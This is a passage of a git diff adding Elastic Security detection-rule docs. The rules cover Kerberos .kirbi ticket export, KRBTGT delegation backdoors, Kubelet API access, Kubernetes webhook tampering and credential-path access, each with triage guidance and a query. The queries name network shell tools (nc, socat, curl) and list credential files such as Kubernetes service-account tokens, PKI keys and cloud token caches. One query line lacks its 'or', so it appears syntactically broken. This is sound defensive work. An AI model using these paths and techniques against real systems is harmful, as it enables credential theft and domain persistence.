user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the same alert families for `host.id` when host scope, not user scope, decides containment. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when related alerts align with ticket export, dumping, archive staging, remote access, or privilege escalation; keep response local when related alerts are absent or unrelated, but do not use absence alone to close the ".kirbi" alert. + +- Based on the evidence gathered, what disposition is supported? + - Focus: artifact path and naming, writer identity and lineage, command intent, staging, user/host sensitivity, and follow-on activity. + - Implication: escalate when artifact, writer, command, staging, sensitive-context, or follow-on evidence points to unauthorized ticket export or use; close only when the same evidence categories tightly bind one recognized red-team, IR, or Kerberos-troubleshooting workflow and no contradictory evidence remains; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Red-team, purple-team, IR, and Kerberos troubleshooting workflows can legitimately export tickets, but close only after telemetry binds the exact workflow. Confirm that writer identity, parent context, command line, `user.id`, `host.id`, and output `file.path` all align, and that no ticket-import or remote-access follow-on appears; use case, exercise, or troubleshooting records only as corroboration. Use prior alerts only to validate exception stability after the current evidence aligns; do not close the current alert on recurrence alone. Treat production-domain-controller, admin-workstation, or service-account activity as suspicious unless it is explicitly in scope for the same case or exercise. +- Build exceptions from the minimum confirmed workflow pattern: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.parent.executable`, `process.command_line`, `user.id`, `host.id`, and output path pattern. Avoid exceptions on ".kirbi" extension, host, or user alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the writer identity, parent context, command line, user, host, and output path that proved the recognized workflow. Create an exception only after the same pattern recurs across prior alerts. +- If suspicious but unconfirmed, preserve the ".kirbi" file path, any archive path, the writing `process.entity_id`, command line, parent chain, user/host context, same-process file events, and follow-on process or authentication evidence before containment. Apply reversible containment first, such as suspending the exporting process or temporarily restricting administrative egress if the host role can tolerate it. Escalate to host isolation or account containment only when follow-on ticket use, privileged-host involvement, or repeated exports show progression. +- If confirmed malicious, preserve the process, file, parent-chain, identity, staging, and follow-on evidence set before containment or cleanup. Then isolate or otherwise contain the affected host when artifact, writer, command, staging, or follow-on evidence establishes unauthorized ticket export or use, weighing critical host role before isolation. Contain impacted accounts or service principals when the user context or follow-on activity shows their tickets may be usable. If direct endpoint response is unavailable, hand off the preserved evidence to the team that can act. +- Record process and file identifiers before deleting ticket files, terminating tools, or removing scripts. Revoke or expire exposed Kerberos sessions for affected identities and force reauthentication where appropriate. If evidence shows privileged-ticket theft or Pass-the-Ticket from administrative systems, reset or rotate affected credentials by privilege tier; reserve KRBTGT rotation for confirmed broader Kerberos compromise under the organization's runbook. +- Eradicate only the dumping tools, scripts, staged ".kirbi" files, archives, and persistence mechanisms found during the investigation, then remediate the initial access or privilege path that allowed ticket export. +- After containment, hunt for the same output paths, writer lineage, ticket-import commands, and staged archives across other systems. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension : "kirbi" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-krbtgt-delegation-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-krbtgt-delegation-backdoor.asciidoc new file mode 100644 index 0000000000..813260d2c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-krbtgt-delegation-backdoor.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-krbtgt-delegation-backdoor]] +=== KRBTGT Delegation Backdoor + +Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://skyblue.team/posts/delegate-krbtgt +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating KRBTGT Delegation Backdoor* + + + +*Possible investigation steps* + + +- What account was changed, and what krbtgt delegation value did the alert preserve? + - Focus: alert 4738 evidence in `winlog.event_data.TargetSid`, `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, `winlog.event_data.AllowedToDelegateTo`, and `winlog.computer_name`. + - Implication: Escalate when the target now lists a krbtgt service target such as "krbtgt/DOMAIN"; lower suspicion only when the target, value, and controller match a time-boxed security validation or emergency delegation repair explicitly naming krbtgt, which is not routine delegation. + +- Who initiated the account change? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, and `winlog.event_data.SubjectLogonId`. + - Implication: Escalate when a human admin, newly introduced service identity, or unexpected controller-local context made the change; lower suspicion only when the same stable tier-0 identity owns this exact delegation-maintenance path. + +- What source and authentication method created the modifying session? + - Focus: authentication events on the same `host.id` where `winlog.event_data.TargetLogonId` equals alert `winlog.event_data.SubjectLogonId`; review `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events for the modifying session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: missing authentication telemetry, or absent `source.ip` on local/service sessions, is unresolved, not benign; review same-session 4648 records when credential-source context matters. !{investigate{"description":"","label":"Explicit-credential events from the modifying session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: Escalate for an unusual source, remote-interactive access, unexpected NTLM, or explicit credentials; lower suspicion when the session maps to the expected tier-0 admin path for this controller. + +- Did surrounding directory changes prepare, repeat, or roll back the krbtgt delegation? + - Focus: surrounding 4738 records for the same `winlog.event_data.TargetSid`, plus 5136 records on the same `winlog.computer_name` and modifying subject/session; use `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, and `winlog.event_data.AttributeValue` to identify the affected object and value. + - Hint: reconstruct the burst from same-target 4738 and same-controller directory-service changes; if 5136 grouping is thin, use `winlog.record_id` order on the same controller plus subject/session and object DN. Absent 5136 evidence leaves prerequisite and rollback context unresolved, not benign. + - !{investigate{"description":"","label":"4738 changes for this delegation target","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4738","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4738","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"5136 directory changes by this modifying session","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: Escalate when `winlog.event_data.AttributeLDAPDisplayName` and `winlog.event_data.AttributeValue` show delegation-enabling changes, repeated msDS-AllowedToDelegateTo writes, or no rollback; prompt removal narrows the persistence window but does not clear actor or session intent. + +- Does the same actor or target touch other delegation-relevant accounts in the case window? + - Focus: run this only if earlier answers are suspicious or unresolved; search 4738 and 5136 records for the same modifying subject/session or `winlog.event_data.TargetSid`, then compare `winlog.event_data.TargetUserName`, `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, and `winlog.event_data.AttributeValue`. + - Implication: Broaden scope when the same actor or target appears in additional delegation writes across objects or controllers; keep it narrow when changes stay confined to one exact target and resolved maintenance path. !{investigate{"description":"","label":"Delegation-sensitive changes by this actor","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4738","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +- Escalate when a non-routine actor/session adds krbtgt delegation, supporting directory changes show setup, the value remains, or same-actor/target scope expands; close only when the modified account, krbtgt value, actor/session, source/authentication context, surrounding changes, rollback, and scope all align with one tightly controlled authorized workflow; preserve raw 4738, authentication, and directory-change evidence and escalate when findings stay mixed or incomplete. + + +*False positive analysis* + + +- Authorized security validation or emergency delegation repair can trigger this rule only when krbtgt delegation is the explicit planned action. Confirm the target (`winlog.event_data.TargetSid` plus `winlog.event_data.AllowedToDelegateTo`), actor/session (`winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectLogonId`, and recovered authentication context), controller, and surrounding attribute evidence all align. If change records are unavailable, telemetry-only closure must still bind one exact workflow with no contradictions; prior benign recurrence strengthens confidence but is not required. +- Do not close generic service onboarding, migration, or constrained-delegation cutover as benign unless outside confirmation explicitly names krbtgt delegation and telemetry matches that exact target, actor, session, and controller path. A normal service-delegation explanation that does not account for the krbtgt value is incomplete. +- Before creating an exception, validate that the same `winlog.event_data.SubjectUserSid`, `winlog.event_data.TargetSid`, exact `winlog.event_data.AllowedToDelegateTo`, `winlog.computer_name`, and recovered session pattern identify the authorized workflow across prior benign cases or a tightly controlled test plan. Build the exception from that minimum confirmed pattern, and avoid exceptions on "krbtgt", event 4738, or "msDS-AllowedToDelegateTo" alone. + + +*Response and remediation* + + +- If confirmed benign, document the actor, target account, krbtgt value, controller, recovered session context, and surrounding delegation-change pattern before reversing temporary containment. Create an exception only if that same pattern is stable across prior benign cases. +- If suspicious but unconfirmed, first export the alert, raw 4738 record, matching authentication events, and surrounding 4738 or 5136 records. Preserve the modified account, krbtgt value, actor/session, source/auth context, and rollback evidence before reversible containment such as heightened monitoring or temporary delegation-administration restrictions. +- If confirmed malicious, preserve the same identity, session, and directory-change evidence first, then restrict or disable the modifying account. Restrict the modified target only when it was intentionally backdoored or used for follow-on Kerberos abuse. Contain the recovered source host when session evidence identifies one, or hand off the preserved evidence set to Active Directory or incident response. +- After containment, review recent 4738 and 5136 records for the same actor, target, and controller before cleanup. Remove the unauthorized krbtgt value from the `msDS-AllowedToDelegateTo` attribute, roll back related delegation-prerequisite changes identified in the same change set, and verify clean replication across domain controllers. +- If ticket abuse or broader Active Directory compromise is confirmed, activate the domain-compromise plan, including the required double reset of krbtgt after scoping and coordination with directory owners. +- Post-incident hardening: restrict delegation administration and SeEnableDelegationPrivilege to dedicated tier-0 identities, keep Audit User Account Management plus supporting 5136, 4624, and 4648 visibility on domain controllers, and document any recurring benign validation pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit User Account Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-user-account-management + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.code == "4738" and winlog.event_data.AllowedToDelegateTo : "*krbtgt*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubelet-api-connection-attempt-to-internal-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubelet-api-connection-attempt-to-internal-ip.asciidoc new file mode 100644 index 0000000000..17b29f8d41 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubelet-api-connection-attempt-to-internal-ip.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-kubelet-api-connection-attempt-to-internal-ip]] +=== Kubelet API Connection Attempt to Internal IP + +Detects network connection attempts to the Kubernetes Kubelet API port (10250/10255) on internal IP ranges from Linux hosts. This rule focuses on common request and scripting utilities (curl, wget, python, node, etc.) and executions from world-writable or ephemeral paths (/tmp, /var/tmp, /dev/shm, /var/run), which are frequently abused during container and cluster lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1021/ +* https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubelet API Connection Attempt to Internal IP* + + +This alert indicates a process on a Linux host attempted to connect to port 10250 (Kubelet API) on an internal or +loopback IP address, including IPv4 private ranges and IPv6 localhost. Kubelet access is commonly abused to enumerate +pods, retrieve logs, or execute commands on nodes when authentication or network controls are weak. + + +*Possible investigation steps* + + +- Review the initiating process (`process.*`) and its executable path; prioritize processes running from `/tmp`, + `/var/tmp`, `/dev/shm`, or `/var/run`, and suspicious interpreters or downloaders. +- Determine whether the destination IP is the local node, another node, or a management host, and whether connectivity to + 10250 is expected for this workload/user. +- Correlate with process argument telemetry for HTTP URLs, kubelet endpoints (e.g., `/pods`, `/runningpods`, `/exec`), and + subsequent Kubernetes API audit activity or credential access. + + +*False positive analysis* + + +- Approved troubleshooting (SRE/cluster operator) sessions that validate Kubelet reachability on the node. +- In-cluster agents that legitimately scrape or query the Kubelet (confirm vendor, image, and deployment). + + +*Response and remediation* + + +- Restrict pod-to-node access to 10250 using network policies/security groups where possible. +- Rotate and revoke any exposed Kubernetes credentials and investigate for follow-on cluster discovery or execution. + + +==== Setup + + + +*Setup* + + + +*Auditd Manager: emitting network connection telemetry* + + +This rule is written against `event.category:network` events. Elastic Defend provides this natively. For Auditd Manager, +you typically need to audit network-related syscalls (for example `connect`) and rely on the integration/pipeline to map +those syscall events into ECS-like network events. + +If you are not seeing `event.category:network` for Auditd Manager data, add syscall audit rules for network connections. +The example below is a starting point and may need to be adjusted for your environment and noise tolerance: + +``` + +*64-bit* + +-a always,exit -F arch=b64 -S connect -S accept -S accept4 -S sendto -S recvfrom -k netconn + + +*32-bit (if applicable)* + +-a always,exit -F arch=b32 -S connect -S accept -S accept4 -S sendto -S recvfrom -k netconn +``` + +After enabling, validate that events include `destination.ip`, `destination.port`, and a populated `process.*` context. + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "linux" and event.type == "start" and event.category == "network" and network.direction == "egress" and + event.action in ("connected-to", "connection_attempted") and (destination.port == 10250 or destination.port == 10255) and + cidrmatch( + destination.ip, + "127.0.0.0/8", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16", + "169.254.0.0/16", + "100.64.0.0/10", + "::1/128", + "fc00::/7", + "fe80::/10" + ) and + ( + process.name in ("curl", "wget", "nc", "ncat", "netcat", "socat", "openssl", "perl", "busybox") or + process.name like ".*" or process.executable like "/*/.*" or + process.name like ("python*", "ruby*", "node*", "java*", "lua*", "apache*", "php*", "nginx", "httpd*", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "flask", "rails", "mongrel", "catalina.sh", "hiawatha", "lswsctrl") or + process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/run/*", "/home/*", "/run/user/*", "/busybox/*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-admission-webhook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-admission-webhook-created-or-modified.asciidoc new file mode 100644 index 0000000000..30f9c94870 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-admission-webhook-created-or-modified.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-kubernetes-admission-webhook-created-or-modified]] +=== Kubernetes Admission Webhook Created or Modified + +Detects creation, modification, or deletion of Kubernetes MutatingWebhookConfigurations or ValidatingWebhookConfigurations by non-system identities. Admission webhooks intercept every API request matching their rules before persistence, giving an attacker powerful capabilities: injecting malicious sidecars into every new pod via a mutating webhook, blocking security tooling deployments via a validating webhook, or silently exfiltrating pod specifications to an external server. Webhook manipulation is a stealthy persistence and defense evasion technique because the webhook configuration itself looks benign in kubectl output while actively modifying or intercepting all matching Kubernetes API traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Admission Webhook Created or Modified* + + +Admission webhooks can mutate or validate resources before they are persisted. A malicious webhook can inject sidecars, +alter securityContext, block defensive workloads, or exfiltrate pod specs. This rule alerts on allowed changes to +MutatingWebhookConfiguration and ValidatingWebhookConfiguration objects by identities outside common system patterns. + + +*Possible investigation steps* + + +- Confirm the webhook resource and operation: + - kubernetes.audit.objectRef.resource and kubernetes.audit.verb + - kubernetes.audit.objectRef.name (the webhook configuration name) +- Attribute the actor and access path: + - user.name (human vs service account vs node identity) + - source.ip and user_agent.original + - In cloud-managed clusters, map the identity to IAM/Entra principal data present in kubernetes.audit.user.extra.*. +- Extract the webhook destination and review for external exfiltration: + - kubernetes.audit.requestObject.webhooks.clientConfig.url (suspicious when pointing to the public internet) + - kubernetes.audit.requestObject.webhooks.clientConfig.service.* (in-cluster service; still validate namespace/name) +- Review impact-driving webhook settings: + - failurePolicy (e.g., Ignore can make malicious webhooks stealthier by avoiding obvious outages) + - namespaceSelector / objectSelector targeting (e.g., excluding kube-system while targeting everything else) + - rules.operations and rules.resources (e.g., CREATE pods is consistent with broad sidecar injection) + - sideEffects, timeoutSeconds, matchPolicy, reinvocationPolicy +- Scope blast radius and follow-on activity: + - Hunt for pods created/updated after the webhook change that include unexpected containers, initContainers, env vars, + volume mounts, or securityContext changes. + - Check for concurrent RBAC changes, token creation, or secret access from the same identity and source IP. + + +*False positive analysis* + + +- GitOps upgrades or controller installs can legitimately change admission webhooks. Validate the change against: + - approved Helm/Git commits, change tickets, and expected controller namespaces + - known controller identities (cert-manager, Gatekeeper, Kyverno, service mesh controllers) + + +*Response and remediation* + + +- If unauthorized, revert or delete the webhook configuration from a known-good source (GitOps/Helm), then block the + actor identity and rotate any credentials it used. +- If the webhook targeted pod creation, assume workload impact: identify affected namespaces/workloads, redeploy from + trusted manifests/images, and validate that new pods are no longer being mutated. +- If an external clientConfig.url was used, treat it as potential data exfiltration and review egress/DNS logs for the + destination around the alert window. + + +==== Rule query + + +[source, js] +---------------------------------- +kubernetes.audit.objectRef.resource:("mutatingwebhookconfigurations" or "validatingwebhookconfigurations") and +kubernetes.audit.verb:("create" or "update" or "patch" or "delete") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +user.name:(* and not + (system\:kube-controller-manager or + system\:kube-scheduler or + system\:serviceaccount\:kube-system\:* or + eks\:* or aksService or masterclient or nodeclient or + system\:serviceaccount\:gke-managed-system\:* or + system\:serviceaccount\:cert-manager\:* or + system\:serviceaccount\:gatekeeper-system\:* or + system\:serviceaccount\:kyverno\:* or + system\:serviceaccount\:*\:*-operator) +) and +kubernetes.audit.objectRef.name:(* and not (pod-identity-webhook or vpc-resource-mutating-webhook or eks-* or gke-*)) and +not (kubernetes.audit.user.groups:"system:serviceaccounts:flux-system" and kubernetes.audit.objectRef.name:"k8tz") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-and-cloud-credential-path-access-via-process-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-and-cloud-credential-path-access-via-process-arguments.asciidoc new file mode 100644 index 0000000000..0b56496857 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-and-cloud-credential-path-access-via-process-arguments.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-kubernetes-and-cloud-credential-path-access-via-process-arguments]] +=== Kubernetes and Cloud Credential Path Access via Process Arguments + +Flags Linux process executions whose arguments reference high-value Kubernetes service-account material, kubeconfig or node PKI paths, or common cloud files, when invoked via typical file-reading utilities or from ephemeral directories. Useful for spotting in-cluster and hybrid credential theft early. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/ +* https://kubernetes.io/docs/concepts/security/service-accounts/ + +*Tags*: + +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Domain: Endpoint +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux +* Domain: Containers + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes and Cloud Credential Path Access via Process Arguments* + + +Confirm whether the process user and parent chain are expected to read the matched path (for example a CI job, +bootstrap script, or kubelet). Reconstruct the full command line and check for piping, encoding, or exfiltration +patterns immediately after the read. + + +*Possible investigation steps* + + +- Map the workload or login session to an identity; prioritize events from nodes, jump hosts, or pods with mounted + service account tokens. +- Correlate with file, network, and Kubernetes audit telemetry for secret reads, token minting, or API calls using + harvested material. + + +*Response and remediation* + + +- Rotate affected service account tokens, kubeconfigs, and cloud keys when access was unauthorized; review RBAC and + secret mount policy for the workload. + + +==== Setup + + + +*Setup* + + +Requires **Elastic Defend** and/or **Auditd Manager** process telemetry (`logs-endpoint.events.process*`, +`logs-auditd_manager.auditd-*`, `auditbeat-*`) with command-line argument capture for exec events. + + +*Elastic Defend* + +Install the Elastic Defend integration via Fleet on Linux hosts and use a policy that collects process events with +arguments. + + +*Auditd Manager* + +Deploy Auditd Manager and ensure execve (or equivalent process) auditing is enabled so `process.args` and +`process.executable` populate for monitored binaries. + +See https://docs.elastic.co/integrations/auditd_manager + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or executed) and +( + process.name:( + busybox or cat or head or tail or more or less or sed or awk or + find or grep or ls or whereis or cp or mv or ln or + curl or wget or scp or rsync or tar or zip or gzip or + base64 or xxd or od or dd or tee or strings or xargs or jq or yq or + openssl or ssh or sftp or nc or ncat or netcat or socat or + python* or perl* or ruby* or node or php* or lua* or .* + ) or + process.args:( + cat or head or tail or more or less or sed or awk or + find or grep or cp or mv or curl or wget or base64 or + tar or scp or dd or strings or xargs + ) or + process.executable:(/tmp/* or /var/tmp/* or /dev/shm/* or /home/* or /run/user/*) +) and process.args:( + "/var/run/secrets/kubernetes.io/serviceaccount/token" or + "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" or + "/var/run/secrets/eks.amazonaws.com/serviceaccount/token" or + "/var/run/secrets/azure/tokens/azure-identity-token" or + "/var/run/secrets/tokens/azure-identity-token" or + "/var/lib/kubelet/kubeconfig" or + "/etc/kubernetes/admin.conf" or + "/etc/kubernetes/pki/ca.key" or + "/etc/kubernetes/pki/apiserver-kubelet-client.key" or + "/var/lib/kubelet/pki/kubelet-client-current.pem" or + "/etc/rancher/k3s/k3s.yaml" or + */.aws/credentials or + */.aws/cli/cache/*.json or + */.aws/sso/cache/*.json or + */.azure/accessTokens.json or + */.azure/azureProfile.json or + */.azure/msal_token_cache.json or + */confluence/confluence.cfg.xml or + *confluence/conf/server.xml + */.config/gcloud/application_default_credentials.json or + */.config/gcloud/credentials.db or + */.config/gcloud/access_tokens.db or + */.config/gcloud/legacy_credentials or + */.kube/config or + */.docker/config.json +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: 